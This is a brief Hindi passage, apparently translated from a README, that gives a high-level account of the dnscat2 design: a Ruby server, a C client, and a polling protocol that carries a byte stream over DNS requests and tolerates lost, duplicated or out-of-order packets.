dnscat2 - dnscat का उत्तराधिकारी - मेरे द्वारा की गई कुछ गलतियों को सुधारने का एक प्रयास है। dnscat2 में एक अलग सर्वर (Ruby) और क्लाइंट (C) है और हर चीज़ को बाइट्स की एक धारा के रूप में मानता है, और एक ड्राइवर का उपयोग करता है, जो उस बाइट धारा को dns अनुरोधों में और वापस परिवर्तित करता है। इस प्रकार, यह एक स्तरित प्रोटोकॉल है, जिसमें DNS एक निचला स्तर है।
परिणामस्वरूप, मैंने एक प्रोटोकॉल का आविष्कार किया जिसे मैं dnscat प्रोटोकॉल कह रहा हूँ। आप docs/protocol.md में इसके बारे में दस्तावेज़ीकरण पा सकते हैं। यह एक सरल पोलिंग नेटवर्क प्रोटोकॉल है, जहाँ क्लाइंट कभी-कभी सर्वर को पोल करता है, और सर्वर एक संदेश (या एक त्रुटि कोड) के साथ प्रतिक्रिया करता है। प्रोटोकॉल को dnscat1 के साथ मेरी विभिन्न समस्याओं के प्रति लचीला बनाने के लिए डिज़ाइन किया गया है - अर्थात, यह आउट-ऑफ-ऑर्डर पैकेट, गिराए गए पैकेट और डुप्लिकेट पैकेट को समान रूप से संभाल सकता है।